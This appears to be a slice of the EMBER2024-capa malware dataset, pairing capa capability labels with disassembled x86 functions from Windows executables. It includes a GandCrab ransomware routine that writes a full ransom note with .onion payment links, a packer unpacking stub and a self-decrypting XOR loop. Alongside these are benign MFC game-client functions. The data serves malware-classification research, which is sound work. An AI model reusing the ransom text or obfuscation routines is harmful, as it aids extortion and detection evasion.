joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406640
Capabilities:
Allocate or change rwx memory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x402
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push str._sGDCB_DECRYPT.txt
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40669e
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
cmp eax, 0xb7
sete bl
jmp 0x4066d0
mov eax, dword [str.____GANDCRAB_____r_n_r_nAttention__r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.GDCB__r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files._r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:_r_n1._Download_Tor_browser___https:__www.torproject.org__r_n2._Install_Tor_browser_r_n3._Open_Tor_Browser_r_n4._Open_link_in_tor_browser:_http:__gdcbghvjyqy7jclk.onion_e4a0279b8e330798___________________________r_n5._Follow_the_instructions_on_this_page_r_n_r_n_r_nIf_Tor_Tor_browser_is_locked_in_your_country_or_you_can_not_install_it__open_one_of_the_following_links_in_your_regular_browser:_r_n1._http:__gdcbghvjyqy7jclk.onion.top_e4a0279b8e330798___________________r_n2._http:__gdcbghvjyqy7jclk.onion.casa_e4a0279b8e330798__________________r_n3._http:__gdcbghvjyqy7jclk.onion.guide_e4a0279b8e330798____________________r_n4._http:__gdcbghvjyqy7jclk.onion.rip_e4a0279b8e330798__________________________________________________r_n5._http:__gdcbghvjyqy7jclk.onion.plus_e4a0279b8e330798________________________________r_n_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free._r_n_r_nDANGEROUS__r_nDo_not_try_to_modify_files_or_use_your_own_private_key___this_will_result_in_the_loss_of_your_data_forever__r_n]
test eax, eax
je 0x4066c4
push 0
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [0x412b04]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a52e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x40a55c
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x40a563
cmp ebx, dword [eax + 4]
jae 0x40a563
xor eax, eax
jmp 0x40a753
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x40a574
xor eax, eax
inc eax
jmp 0x40a752
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x40a58a
cmp ecx, edx
jae 0x40a6cf
cmp dword [eax + 4], 0
je 0x40a593
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x40a57b
cmp dword [ebp + 8], 0
je 0x40a5b5
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x40a6cf
cmp eax, esi
jae 0x40a6cf
mov eax, dword [0x41a310]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x40a5da
cmp dword [esi*4 + 0x41a318], edi
je 0x40a6d3
inc esi
cmp esi, eax
jl 0x40a5c8
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [0x4171f0]
test eax, eax
je 0x40a74f
cmp dword [ebp - 8], 0x1000000
jne 0x40a74f
test byte [ebp - 0xc], 0xcc
je 0x40a658
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x40a74f
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40a74f
cmp word [eax + 0x18], 0x10b
jne 0x40a74f
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x40a74f
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x40a658
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x40a658
test byte [ecx + 0x27], 0x80
jne 0x40a6cf
push 1
push 0x41a358
call dword [0x4171c4]
test eax, eax
jne 0x40a56c
mov ecx, dword [0x41a310]
test ecx, ecx
mov edx, ecx
jle 0x40a68c
lea eax, [ecx*4 + 0x41a314]
cmp dword [eax], edi
je 0x40a68c
dec edx
sub eax, 4
test edx, edx
jg 0x40a680
test edx, edx
jne 0x40a6bd
push 0xf
pop ebx
cmp ecx, ebx
jg 0x40a699
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x40a6b1
lea eax, [edx*4 + 0x41a318]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x40a69f
cmp ecx, 0x10
jge 0x40a6bd
inc ecx
mov dword [0x41a310], ecx
push 0
push 0x41a358
call dword [0x4171c4]
jmp 0x40a56c
xor eax, eax
jmp 0x40a752
test esi, esi
jle 0x40a56c
mov ebx, dword [0x4171c4]
push 1
push 0x41a358
call ebx
test eax, eax
jne 0x40a56c
cmp dword [esi*4 + 0x41a318], edi
je 0x40a729
mov eax, dword [0x41a310]
lea esi, [eax - 1]
test esi, esi
jl 0x40a717
cmp dword [esi*4 + 0x41a318], edi
je 0x40a713
dec esi
jns 0x40a707
test esi, esi
jge 0x40a727
cmp eax, 0x10
jge 0x40a722
inc eax
mov dword [0x41a310], eax
lea esi, [eax - 1]
jmp 0x40a729
je 0x40a741
xor ecx, ecx
test esi, esi
jl 0x40a741
lea eax, [ecx*4 + 0x41a318]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x40a72f
push 0
push 0x41a358
call ebx
jmp 0x40a56c
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4659a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x457015
lea edi, [esi - 0x56015]
push edi
or ebp, 0xffffffff
jmp 0x4659c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4659c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4659b8
mov eax, 1
add ebx, ebx
jne 0x4659db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4659d0
jne 0x4659ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4659d0
xor ecx, ecx
sub eax, 3
jb 0x465a00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x465a72
mov ebp, eax
add ebx, ebx
jne 0x465a0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x465a18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x465a3c
inc ecx
add ebx, ebx
jne 0x465a28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x465a1d
jne 0x465a39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x465a1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x465a5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x465a4d
jmp 0x4659be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x465a5c
add edi, ecx
jmp 0x4659be
pop esi
mov edi, esi
mov ecx, 0x33e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x465a7a
cmp byte [edi], 0
jne 0x465a7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x465a7f
lea edi, [esi + 0x63000]
mov eax, dword [edi]
or eax, eax
je 0x465aee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x651f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x65254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x465aac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x65258]
or eax, eax
je 0x465ae8
mov dword [ebx], eax
add ebx, 4
jmp 0x465ac9
call dword [esi + 0x6525c]
popal
jmp 0x40da18

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401000
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x44
mov eax, dword [esp + 0x48]
push ebx
push ebp
push esi
xor esi, esi
push edi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x401208
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
lea ecx, [esp + 0x10]
push esi
push ecx
lea edx, [esp + 0x1c]
push 0x12
push edx
push ebp
mov dword [esp + 0x24], esi
call ebx
mov al, byte [esp + 0x14]
test al, al
jne 0x401201
mov al, byte [esp + 0x15]
test al, al
jne 0x401201
cmp byte [esp + 0x16], 2
jne 0x401201
mov ax, word [esp + 0x24]
cmp al, 0x20
jne 0x401201
cmp ah, 8
jne 0x401201
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x22]
and eax, 0xffff
and ecx, 0xffff
mov dword [esp + 0x2c], eax
xor eax, eax
mov dword [esp + 0x30], ecx
push eax
lea edx, [esp + 0x5c]
mov ecx, 6
lea edi, [esp + 0x3c]
push eax
mov dword [esp + 0x30], 0x28
mov word [esp + 0x3c], 1
mov word [esp + 0x3e], 0x20
push edx
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x6c]
mov dword [esp + 0x64], eax
push eax
mov dword [esp + 0x60], esi
lea eax, [esp + 0x38]
mov ecx, 0xb
lea esi, [esp + 0x38]
push eax
rep movsd dword es:[edi], dword [esi]
push 0
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov esi, eax
test esi, esi
mov dword [esp + 0x60], esi
je 0x401201
mov ecx, dword [esp + 0x64]
mov eax, dword [esp + 0x58]
lea edx, [esp + 0x10]
push 0
mov dword [ecx], eax
mov ecx, dword [esp + 0x26]
push edx
mov edx, dword [esp + 0x28]
and ecx, 0xffff
and edx, 0xffff
imul ecx, edx
shl ecx, 2
push ecx
push eax
push ebp
call ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [esp + 0x5c]
test al, al
je 0x4011f7
xor ebx, ebx
cmp word [esp + 0x22], bx
jbe 0x4011f7
mov edx, dword [esp + 0x20]
mov eax, edx
mov esi, dword [esp + 0x58]
and eax, 0xffff
xor ebp, ebp
mov ecx, eax
imul ecx, ebx
test eax, eax
lea ecx, [esi + ecx*4]
jle 0x4011e0
xor edx, edx
xor eax, eax
mov dl, byte [ecx + 3]
mov al, byte [ecx]
mov edi, edx
mov esi, eax
imul esi, edi
mov eax, 0x80808081
add ecx, 4
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x80808081
mov byte [ecx - 4], dl
xor edx, edx
mov dl, byte [ecx - 3]
mov esi, edx
imul esi, edi
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x80808081
mov byte [ecx - 3], dl
xor edx, edx
mov dl, byte [ecx - 2]
mov esi, edx
imul esi, edi
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
inc ebp
mov byte [ecx - 2], dl
mov edx, dword [esp + 0x20]
mov eax, edx
and eax, 0xffff
cmp ebp, eax
jl 0x401167
mov ecx, dword [esp + 0x22]
inc ebx
and ecx, 0xffff
cmp ebx, ecx
jl 0x40114e
mov esi, dword [esp + 0x60]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret
Function at 0x4020f0
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, ecx
push str.ReqEnterRoom_CBattleRoomList
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, esi
call fcn.00402160
test al, al
je 0x402156
push 0x4459c8
call fcn.0040ed70
mov esi, eax
add esp, 4
test esi, esi
je 0x402122
mov eax, dword [esi]
push esi
call dword [eax + 0x68]
call sub.MFC42.DLL_AfxGetThread
test eax, eax
je 0x402141
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x7c]
test eax, eax
je 0x402141
mov ecx, dword [eax + 0xd0]
call fcn.0040d5e0
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
mov eax, dword [esi]
push 0
push ecx
push edx
push esi
call dword [eax + 0x104]
pop esi
ret 8

Function at 0x405930
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x43f68b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x4456a0
mov eax, dword [esi + 0x30]
xor ebp, ebp
cmp eax, ebp
mov dword [esp + 0x1c], 1
je 0x4059c0
mov edx, dword [esi + 0x24]
mov eax, dword [esi + 0x2c]
mov edi, dword [esi + 0x20]
mov ecx, edx
push ebx
sub eax, ecx
mov ecx, dword [esi + 0x28]
mov ebx, edi
sub ecx, ebx
mov ebx, dword [esi + 0x1c]
cmp esi, ebp
je 0x405987
mov ebp, dword [esi + 4]
push 0xcc0020
push edx
push edi
push ebp
push eax
mov eax, dword [ebx + 4]
push ecx
push edx
push edi
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esi + 0x18]
pop ebx
test eax, eax
jne 0x4059b1
mov ecx, dword [esi + 4]
push eax
push ecx
call sub.MFC42.DLL_CDC::SelectGdiObject
jmp 0x4059c6
mov eax, dword [eax + 4]
mov ecx, dword [esi + 4]
push eax
push ecx
call sub.MFC42.DLL_CDC::SelectGdiObject
jmp 0x4059c6
mov dword [esi + 8], ebp
mov dword [esi + 4], ebp
lea edi, [esi + 0x10]
mov dword [esp + 0x10], edi
mov dword [edi], 0x444ed8
mov ecx, edi
mov byte [esp + 0x1c], 2
call sub.MFC42.DLL_CGdiObject::DeleteObject
mov ecx, esi
mov dword [edi], 0x444eec
mov dword [esp + 0x1c], 0xffffffff
call fcn.0043ab50
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x405d20
Capabilities:
Write file on windows

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
push edi
push 0x4523fc
mov eax, dword [esi + 0x34]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
jne 0x405d56
mov eax, dword [esi + 0x34]
push eax
push str.Open_Friend_File__s_for_write_failed_n
call fcn.00416290
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov ebp, dword [sym.imp.MSVCRT.dll_fwrite]
push edi
push 1
push 4
push esi
call ebp
add esp, 0x10
cmp eax, 1
je 0x405d8b
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
mov ecx, dword [esi + 0x34]
push ecx
push str.Write_Friend_File__s_Version_Failed_n
call fcn.00416290
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov eax, dword [esi + 0x28]
xor ebx, ebx
test eax, eax
jle 0x405db6
mov edx, dword [esi + 0x24]
mov eax, dword [edx + ebx*4]
test eax, eax
je 0x405dae
push edi
push 1
push 0x3c
push eax
call ebp
add esp, 0x10
cmp eax, 1
jne 0x405dca
mov eax, dword [esi + 0x28]
inc ebx
cmp ebx, eax
jl 0x405d94
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
ret
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esi + 0x34]
push eax
push str.Write_Friend_File__s_Version_Failed_n
call fcn.00416290
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x406280
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x43f6fe
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
mov ebx, ecx
push edi
mov dword [esp + 0x10], ebx
call fcn.0043a976
xor ebp, ebp
lea ecx, [ebx + 0x40]
mov dword [esp + 0x20], ebp
call fcn.004211a0
mov dword [ebx + 0x2a0], 0x4458f8
mov dword [ebx + 0x2a4], ebp
lea ecx, [ebx + 0x2a8]
mov byte [esp + 0x20], 2
call fcn.0043a96a
lea esi, [ebx + 0x2b4]
mov dword [esp + 0x14], esi
mov dword [esi + 4], 0x4458e4
mov dword [esi + 8], ebp
mov dword [esi + 0xc], 0x11
mov dword [esi + 0x10], ebp
mov dword [esi + 0x14], ebp
mov dword [esi + 0x18], ebp
mov dword [esi + 0x1c], 0xa
mov dword [esi + 0x20], 0x4458d0
mov dword [esi + 0x24], ebp
mov dword [esi + 0x30], ebp
mov dword [esi + 0x2c], ebp
mov dword [esi + 0x28], ebp
lea ecx, [esi + 0x34]
mov byte [esp + 0x20], 5
call sub.MFC42.DLL_CString::CString_1
mov dword [esi], ebp
mov eax, dword [esi + 8]
cmp eax, ebp
mov byte [esp + 0x20], 6
je 0x40633a
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
mov dword [esi + 8], ebp
push 0x4cc
call sub.MFC42.DLL_operatornew
mov edi, eax
mov ecx, 0x133
xor eax, eax
mov dword [esi + 8], edi
rep stosd dword es:[edi], eax
add esp, 4
mov dword [esi + 0xc], 0x133
push str.QB_ADD_FRIEND
mov byte [esp + 0x24], 7
mov dword [ebx], 0x445810
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
push 4
push ebp
push 0xff
push 0xe
push 0xb
lea ecx, [ebx + 0x2a8]
mov dword [ebx + 0x2b0], eax
call sub.MFC42.DLL_CImageList::Create
mov ecx, dword [esp + 0x18]
pop edi
mov dword [ebx + 0x2ec], ebp
pop esi
mov eax, ebx
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x40acf0
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x43fdc8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push esi
mov esi, ecx
push edi
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString_1
push 0x104
push 0x104
lea ecx, [esp + 0x10]
mov dword [esp + 0x24], 0
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x5c
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::ReverseFind
push eax
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 1
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0xc]
mov byte [esp + 0x1c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
push str.Config.ini
push ecx
lea ecx, [esp + 0x10]
mov dword [esp + 0x24], 2
call fcn.00402e00
mov eax, dword [eax]
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push eax
push 0x2bc
push str.Width
push str.GameHelp
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x3f0], eax
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x10]
push str.Config.ini
push edx
lea ecx, [esp + 0x10]
call fcn.00402e00
mov eax, dword [eax]
push eax
push 0x2bc
push str.Width
push str.GameHelp
call edi
lea ecx, [esp + 0x10]
mov dword [esi + 0x3f4], eax
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 8]
mov dword [esp + 0x1c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x40b4f0
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x43fef8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0x14]
xor ebx, ebx
push eax
mov dword [esp + 0x44], ebx
call fcn.0043bc70
mov ecx, dword [esp + 0x4c]
mov edx, dword [eax]
push ecx
push edx
lea eax, [esp + 0x18]
push str._s_uUser.ini
push eax
mov byte [esp + 0x54], 1
call sub.MFC42.DLL_CString::Format
add esp, 0x14
lea ecx, [esp + 0x14]
mov byte [esp + 0x40], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
push ecx
call fcn.0043bc70
add esp, 4
push str.config.ini
lea edx, [esp + 0x14]
push eax
push edx
mov byte [esp + 0x4c], 2
call sub.MFC42.DLL_operator
lea ecx, [esp + 0x14]
mov byte [esp + 0x40], 4
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x10]
mov ecx, dword [str.Version]
mov edx, dword [str.GameHelp]
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push eax
push ebx
push ecx
push edx
call edi
mov ecx, dword [str.Version]
mov edx, dword [str.GameHelp]
mov esi, eax
mov eax, dword [esp + 0xc]
push eax
push ebx
push ecx
push edx
call edi
cmp esi, eax
jle 0x40b65c
lea ecx, [esp + 0x48]
call sub.MFC42.DLL_CString::CString_1
push esi
lea eax, [esp + 0x4c]
push 0x452488
push eax
mov byte [esp + 0x4c], 5
call sub.MFC42.DLL_CString::Format
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x54]
mov eax, dword [str.Version]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
add esp, 0xc
push ecx
mov ecx, dword [str.GameHelp]
push edx
push eax
push ecx
call esi
mov edx, dword [esp + 0xc]
mov eax, dword [str.True]
mov ecx, dword [str.ShowHelp]
push edx
mov edx, dword [str.GameHelp]
push eax
push ecx
push edx
call esi
lea ecx, [esp + 0x48]
mov byte [esp + 0x40], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x40], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov dword [esp + 0x40], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
add esp, 0x38
ret 4
mov eax, dword [esp + 0xc]
mov edx, dword [str.ShowHelp]
push eax
mov eax, dword [str.GameHelp]
lea ecx, [esp + 0x1c]
push 0x20
push ecx
push 0x453ea0
push edx
push eax
mov byte [esp + 0x30], bl
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edx, dword [str.True]
lea ecx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
mov byte [esp + 0x40], bl
test eax, eax
lea ecx, [esp + 0x10]
jne 0x40b6d4
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov dword [esp + 0x40], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
add esp, 0x38
ret 4
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov dword [esp + 0x40], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x38]
pop edi
pop esi
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret 4
Function at 0x40bf10
Capabilities:
Access peb ldr_data
Get ntdll base address
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x440088
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push esi
push edi
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString_1
push 0x104
push 0x104
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], 0
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x5c
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::ReverseFind
push eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 1
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x14]
mov byte [esp + 0x20], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
push str.Config.ini
push ecx
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], 2
call fcn.00402e00
mov edx, dword [esp + 0x10]
mov esi, dword [esp + 0x28]
push edx
push 0x14
push 0x14
mov ecx, esi
mov byte [esp + 0x2c], 3
call sub.MFC42.DLL_CString::GetBuffer
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push eax
push 0x453ea0
push str.Server
push str.Voice
call edi
push 0xffffffffffffffff
mov ecx, esi
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0xc]
push eax
push 0x14
push 0x14
mov byte [esp + 0x2c], 4
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0x453ea0
push str.Port
push str.Voice
call edi
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
mov edx, dword [esp + 0x30]
add esp, 4
mov word [edx], ax
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 8]
mov dword [esp + 0x20], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x18]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x1c
ret 8